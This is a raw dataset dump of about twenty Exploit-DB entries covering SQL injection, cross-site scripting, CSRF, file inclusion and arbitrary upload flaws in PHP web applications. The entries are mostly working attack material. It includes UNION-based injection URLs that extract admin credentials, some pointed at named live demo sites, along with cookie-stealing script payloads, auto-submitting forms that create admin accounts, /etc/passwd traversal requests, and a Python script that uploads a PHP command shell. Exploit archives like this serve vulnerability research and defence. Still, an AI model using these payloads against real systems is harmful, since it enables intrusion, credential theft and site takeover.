deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5614
Description: Feedback and Rating Script 1.0 - 'detail.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-14
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+ Feedback and Rating Script 1.0 (detail.php) Remote SQL Injection Vulnerability +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 14 MAY 2008
Script Download: http://cmsnx.com/product.demo.php?id=16
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

Feedback and Rating Script suffers from a insecure mysql query, this allows the remote attacker to
inject mysql code/querys into the script, the below injection will display admin username and password.




SQL Injection:

http://site.com/detail.php?listingid=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(0x757365726E616D653A20,username,0x[PII_REDACTED]6F72643A,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/FROM/**/auto_admin_settings_tb/**/LIMIT 0,1/*



NOTE/TIP: 

admin login is at /admin/
passwords are in plaintext




GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+ Feedback and Rating Script 1.0 (detail.php) Remote SQL Injection Vulnerability +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-14]
Exploit-DB #44701
Description: Feedy RSS News Ticker 2.0 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-22
Author: AkkuS

Exploit:
# Exploit Title: Feedy RSS News Ticker 2.0 - 'cat' SQL Injection
# Dork: N/A
# Date: 2018-05-22
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/feedy-rss-news-ticker/5818277
# Version: 2.0
# Category: Webapps
# Tested on: Kali linux

# PoC: SQLi:
# Parameter: cat
# Type: boolean-based blind
# Demo: http://target/feedy/category.php?cat=
# Payload: 

cat=akkus+keyney' AND 2367=2367 AND 'NKyC'='NKyC

# Type: AND/OR time-based blind
# Demo: http://demo.cudevo.com/feedy/category.php?cat=1
# Payload: 

cat=akkus+keyney' AND SLEEP(5) AND 'AEHg'='AEHg
Exploit-DB #51002
Description: Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-08-09
Author: Shivam Singh

Exploit:
# Exploit Title: Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS)
# Date: 02-08-2022
# Exploit Author: Shivam Singh
# Vendor Homepage: https://feehi.com/
# Software Link: https://github.com/liufee/cms
#Profile Link: https://www.linkedin.com/in/shivam-singh-3906b0203/
# Version: 2.1.1 (REQUIRED)
# Tested on: Linux, Windows, Docker
# CVE : CVE-2022-34140


# Proof of Concept:
1-Sing-up https://localhost.cms.feehi/
2-Inject The XSS Payload in Username:
"><script>alert(document.cookie)</script> fill all required fields and
click the SignUp button
3-Login to Your Account, Go to any article page then XSS will trigger.
Exploit-DB #3920
Description: Feindt Computerservice News 2.0 - 'newsadmin.php?action' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-14
Author: Mogatil

Exploit:
####################### S==A==U==D==I #########################

News 2.0 (newsadmin.php) Remote File Include Vulnerabilities

##############################################################

Found By : Mogatil , jjl@hotmail.com

##############################################################

Script Site :
http://www.tools4web.de/zaehler.php?i=5
##############################################################
File : /newsadmin.php

include($action.".inc.php");

##############################################################

Thanx: [cold zero] [gawey] [crazy man] [scorbion_22] [the_muslim_sniper]

##############################################################

Exploit :[Path]/newsadmin.php?action=shell

##############################################################

# milw0rm.com [2007-05-14]
Exploit-DB #34937
Description: Feindura CMS Groupware - Multiple Local File Inclusion / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-10-28
Author: Justanotherhacker.com

Exploit:
source: https://www.securityfocus.com/bid/44501/info

Feindura CMS is prone to multiple local file-include vulnerabilities and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Feindura CMS versions 1.0rc and prior are vulnerable. 

Local file Include:

http://www.example.com/[path]/library/process/download.php?filename=[path/to/file]

http://www.example.com/[path]/library/thirdparty/filemanager/connectors/php/filemanager.php?mode=download&path=[path/to/file]

http://www.example.com/[path]/?language=../../../../../../../etc/passwd%00

Cross Site Scripting:

http://www.example.com/[path]/library/sites/editor.php?category=[XSS]
Exploit-DB #15217
Description: Feindura File Manager 1.0(rc) - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-10-07
Author: KnocKout

Exploit:
===================================================
Feindura File Manager 1.0(rc) - Remote File Upload
===================================================

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : Feindura - Flat File Content Management System 1.0 rc
~Software: http://feindura.org/
-Demo : http://demo.feindura.org/
~Vulnerability Style : File Upload
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
    ~~~~~~~~ Explotation ~~~~~~~~~~~
 
    Shell Upload . you use "GIF81a;"
    ================================
    http://TARGET/path/library/thirdparty/filemanager/
    ================================
          [+]  Remote File uploaded.
 
           
       
      GoodLucK ;)


# Inj3ct0r.com [2010-09-28]
Exploit-DB #34277
Description: Feng Office - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-08-06
Author: Juan Sacco

Exploit:
# Affected software: Feng Office - URL: http://www.fengoffice.com/web/demo.php
# Discovered by: Provensec
# Website: http://www.provensec.com
# Type of vulnerability: XSS Stored
#
# Feng Office is a Collaboration tool that includes a CRM, Communication,
Document Management, Tasks, E-mails, Documents, Internal messages, Time
tracking,
Billing, Calendar, Gantt Charts, Reminders, and more.
#
# Description: Feng Office is prone to a Persistent Cross Site Scripting
attack that allows a malicious user to inject HTML or scripts that can
access any cookies, session tokens, or other
sensitive information retained by your browser and used with that site.
# Proof of concept:
# 1. Create or Edit a client
# 2. Complete the field Name ( customer[name] ) using this value:
"><script>alert('XSS by Provensec')</script>
# 3. Save changes.
# 4. Share your client in the Activity feed to infect others.
Exploit-DB #38044
Description: Feng Office - Security Bypass / HTML Injection
Type: webapps
Platform: php
Date: 2012-11-21
Author: Ur0b0r0x

Exploit:
source: https://www.securityfocus.com/bid/56626/info

Feng Office is prone to a security-bypass vulnerability and an HTML-injection vulnerability.

An attacker may leverage the HTML-injection issue to inject hostile HTML and script code that would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. The attacker may leverage the security-bypass issue to bypass certain security restrictions and perform unauthorized actions in the affected application.

Feng Office 2.2.1 and 2.0 Beta 3 are vulnerable; other versions may also be affected. 

# Expl0it/P0c/Xss ###################
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

# Expl0it/P0c/Privilege Escalation ###################
<input type="hidden" value="" name="contact[new_contact_from_mail_div_id]">
<input type="hidden" value="" name="contact[hf_contacts]">
<label for="og_[PII_REDACTED]_283914profileFormFirstName">First name:      
<input type="text" value="poc" name="contact[first_name]" maxlength="50" id="og_[PII_REDACTED]_283914profileFormFirstName">
<label for="og_[PII_REDACTED]_283914profileFormSurName">Last name:      
<input type="text" value="poc2" name="contact[surname]" maxlength="50" id="og_[PII_REDACTED]_283914profileFormSurname">    
<label for="og_[PII_REDACTED]_283914profileFormEmail">Email address:</label>      
<input type="text" value="poctest@live.com" name="contact[email]" style="width:260px;" maxlength="100" id="og_[PII_REDACTED]_283914profileFormEmail">
<div style="" class="user-data">
<label>Password:<input type="password" name="contact[user][password]">
<label>Repeat password:<input type="password" name="contact[user][password_a]" class="field-error">
<select name="contact[user][type]">
<option value="1">Super Administrator</option>
<button tabindex="20000" id="og_[PII_REDACTED]_613002submit2" class="submit" type="submit" accesskey="s">Add Per<u>s</u>on</button>
Exploit-DB #17099
Description: Feng Office 1.7.3.3 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-04-01
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22910
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_feng_office.html
Product: Feng Office
Vendor: Secure Data SRL ( http://www.fengoffice.com/ )
Vulnerable Version: 1.7.3.3 and probably prior versions
Vendor Notification: 17 March 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the users editing script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php?active_project=0&ajax=true&c=account&a=edi
t_profile&id=USERID&current=administration" method="post" name="main">
<input type="hidden" name="user[display_name]" value="test">
<input type="hidden" name="user[username]" value="test">
<input type="hidden" name="user[company_id]" value="1">
<input type="hidden" name="user[personal_project_id]" value="2">
<input type="hidden" name="user[type]" value="admin">
<input type="hidden" name="user[auto_assign]" value="0">
<input type="hidden" name="user[autodetect_time_zone]" value="1">
<input type="hidden" name="user[timezone]" value="0">
<input type="hidden" name="user[email]" value="email (at) example (dot) com [email concealed]">
<input type="hidden" name="user[title]" value="">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #35041
Description: Feng Office 1.7.4 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-10-23
Author: AutoSec Tools

Exploit:
import socket

host = 'localhost'
path = '/feng_community'
shell_path = '/tmp'
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)    

    s.send('POST ' + path + '/public/assets/javascript/ckeditor/ck_upload_handler.php HTTP/1.1\r\n'
           'Host: localhost\r\n'
           'Proxy-Connection: keep-alive\r\n'
           'User-Agent: x\r\n'
           'Content-Length: 195\r\n'
           'Cache-Control: max-age=0\r\n'
           'Origin: null\r\n'
           'Content-Type: multipart/form-data; boundary=----x\r\n'
           'Accept: text/html\r\n'
           'Accept-Encoding: gzip,deflate,sdch\r\n'
           'Accept-Language: en-US,en;q=0.8\r\n'
           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
           '\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="shell_file"; filename="shell.php"\r\n'
           'Content-Type: application/octet-stream\r\n'
           '\r\n'
           '<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
           '------x--\r\n'
           '\r\n')

    resp = s.recv(8192)

    http_ok = 'HTTP/1.1 200 OK'
    
    if http_ok not in resp[:len(http_ok)]:
        print 'error uploading shell'
        return
    else: print 'shell uploaded to http://' + host + path + shell_path

upload_shell()
Exploit-DB #35042
Description: Feng Office 1.7.4 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-10-23
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47049/info

<html> 
<body onload="document.forms[0].submit()"> 
<form method="POST" action="http://localhost/feng_community/public/assets/javascript/slimey/save.php"> 
<input type="hidden" name="filename" value=""><script>alert(0)</script>" /> 
<input type="hidden" name="slimContent" value="</textarea><script>alert(0)</script>" /> 
</form> 
</body> 
</html>
Exploit-DB #52154
Description: Feng Office 3.11.1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2025-04-10
Author: Andrey Stoykov

Exploit:
# Exploit Title: Feng Office 3.11.1.2 - SQL Injection
# Date: 7/2024
# Exploit Author: Andrey Stoykov
# Version: 3.11.1.2
# Tested on: Ubuntu 22.04
# Blog: http://msecureltd.blogspot.com


SQL Injection:

1. Login to application
2. Click on "Workspaces"
3. Copy full URL
4. Paste the HTTP GET request into text file
5. Set the injection point to be in the "dim" parameter value
6. Use SQLMap to automate the process

sqlmap -r request.txt --threads 1 --level 5 --risk 3 --dbms=3Dmysql -p dim =
--fingerprint

[...]
[12:13:03] [INFO] confirming MySQL
[12:13:04] [INFO] the back-end DBMS is MySQL
[12:13:04] [INFO] actively fingerprinting MySQL
[12:13:05] [INFO] executing MySQL comment injection fingerprint
web application technology: Apache
back-end DBMS: active fingerprint: MySQL >=3D 5.7
               comment injection fingerprint: MySQL 5.7.37
[...]
Exploit-DB #10552
Description: FestOs 2.2.1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-12-19
Author: cr4wl3r

Exploit:
##################################################################
## Exploit Title: FestOs <= 2.2.1 Multiple RFI Exploit          ##
## Date: 19-12-2009                                             ##
## Author: cr4wl3r                                              ##
## Software Link: http://code.google.com/p/festos/downloads/list##
## Version: N/A                                                 ##
## Tested on: GNU/LINUX                                         ##
##################################################################

~ Code : [reports_placement.php]

<?php 
$title = "Jury Sheet Report";

require_once($config['ABSOLUTE_FILE_PATH'].'core/core.php');
if($_SESSION["roleID"] > $reports) {
   header("Location:index.php");
}
include "includes/reportheader.php";
?>


~ 3xplo!t :

[festos_path]/admin/reports_placement.php?ABSOLUTE_FILE_PATH=[Shell]


~ Code : [FestOS.php]

require_once($config['ABSOLUTE_FILE_PATH']."core/sessions.php");


~ 3xplo!t :

[festos_path]/core/FestOS.php?ABSOLUTE_FILE_PATH=[Shell]



~ Code : [reportheader.php]

require_once($config['ABSOLUTE_FILE_PATH'].'core/core.php');


~ 3xplo!t :

[festos_path]/admin/includes/reportheader.php?ABSOLUTE_FILE_PATH=[Shell]


and more...
Exploit-DB #34324
Description: FestOS 2.3 - 'contents' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41725/info

FestOS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

FestOS version 2.3b is vulnerable; other versions may also be affected.

<form action="http://www.example.com/admin/do_snippets_edit.php?tabname=Pages" method="post" name="main" > <input type="hidden" name="snippetID" value="1" /> <input type="hidden" name="title" value="Site footer" /> <input type="hidden" name="active" value="1" /> <input type="hidden" name="contents" value='footer"><script>alert(document.cookie)</script>' /> </form> <script> document.main.submit(); </script>
Exploit-DB #35713
Description: FestOS 2.3c - 'upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-05-08
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47751/info

FestOS is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to upload arbitrary code and run it in the context of the webserver process.

FestOS 2.3c is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/admin/includes/tiny_mce/plugins/tinybrowser/upload.php
Exploit-DB #6535
Description: Fez 1.3/2.0 RC1 - 'list.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-22
Author: d3v1l

Exploit:
[~]------------------------------------------------------------------------------
[~] Fez software Version 1.3 AND 2.0 RC1 (list.php) - SQL Injection Vulnerability
[~]
[~] http://sourceforge.net/projects/fez
[~]
[~] About:- [Fez is an open source project to produce and maintain a highly flexible web interface to FEDORA
[~]       for any Library or Institution to configure and publish or archive documents of any type sustainably.]
[~]
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 22.09.2008
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest|Gibon|Pig       and milw0rm Staff
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~] Demo :- 1.3
[~]
[~] http://repository.openpolytechnic.ac.nz/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~]
[~] Demo :- 2.0 RC1
[~]
[~] http://avi.lib.cas.cz/sandbox/fex/trunk/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~]-----------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-22]
Exploit-DB #26014
Description: FForm Sender 1.0 - 'Processform.php3?Name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-19
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14324/info

A cross-site scripting vulnerability affects Form Sender. This issue is due to a failure of the application to properly sanitize user-supplied URI input that will be output in dynamically generated Web pages.

This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://[target]/[path]/processform.php3?name=<script>alert(document.cookie)</script>
Exploit-DB #48621
Description: FHEM 6.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2020-06-25
Author: Emre ÖVÜNÇ

Exploit:
# Exploit Title: FHEM 6.0 - Local File Inclusion
# Date: 2020-02-10
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://fhem.de/
# Software Link: https://fhem.de/#Download
# Version: v6.0
# Tested on: Windows
# Link: https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability

# PoC

To exploit vulnerability, someone could use 'http://
[HOST]/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text'
request
to get some informations from the target by changing "file" parameter.

GET /fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0)
Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Exploit-DB #45667
Description: Fifa Master XLS 2.3.2 - 'usw' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-24
Author: Ihsan Sencan

Exploit:
# Exploit Title: Fifa Master XLS 2.3.2 - 'usw' SQL Injection
# Dork: N/A
# Date: 2018-10-24
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://fankstribe.org/
# Software Link: https://sourceforge.net/projects/fifamasterxls/files/latest/download
# Version: 2.3.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/chat.php?action=chatname&usw=[SQL]
# 
# Registered users can run...
/* `exploitdb`.`f_user` */
$f_user = array(
  array('userID' => '2','access' => 'Registered','userName' => 'efe','firstname' => 'efe','lastName' => 'efe','userEmail' => 'efe@omerefe.com','userPassword' => 'a0b92793d636e4ccee294c6548cb35b3','avatar' => '0.jpg','ban' => '0')
);
# 

# [PATH]/chat.php 166
# 
# 163 function chatName() {
# 164 	$un = '';
# 165 	global $con;
# 166 $su=$_GET['usw'];
# 167 
# 168 $sc2=mysql_query("select userName from f_user where userID='$su' limit 1");
# 169 while($row_sc2=mysql_fetch_array($sc2))
# 170 {

# [PATH]/js/chat.js 337
# 
# 336 jQuery.ajax({
# 337 url: "chat.php?action=chatname&usw="+item.f,
# 338 cache: false,
# 339 dataType: "json",
# 340 async: false,
# 341 success: function(data)
  
GET /[PATH]/chat.php?action=chatname&usw=-%27++uNiOn+sElecT++(seLEcT(@x)FRom(SElecT(@x:=0x00)%20,(sELeCt(@x)fRom(f_user)whERe(@x)In(@x:=conCat(0x20,@x,0x557365726e616d653a20,userName,0x3c62723e,0x506173733a20,userPassword,0x3c62723e))))x)--+- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=io5hsssef7l7nich1si2gk99k5
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 23 Oct 2018 00:12:37 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 148
Keep-Alive: timeout=5, max=1
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8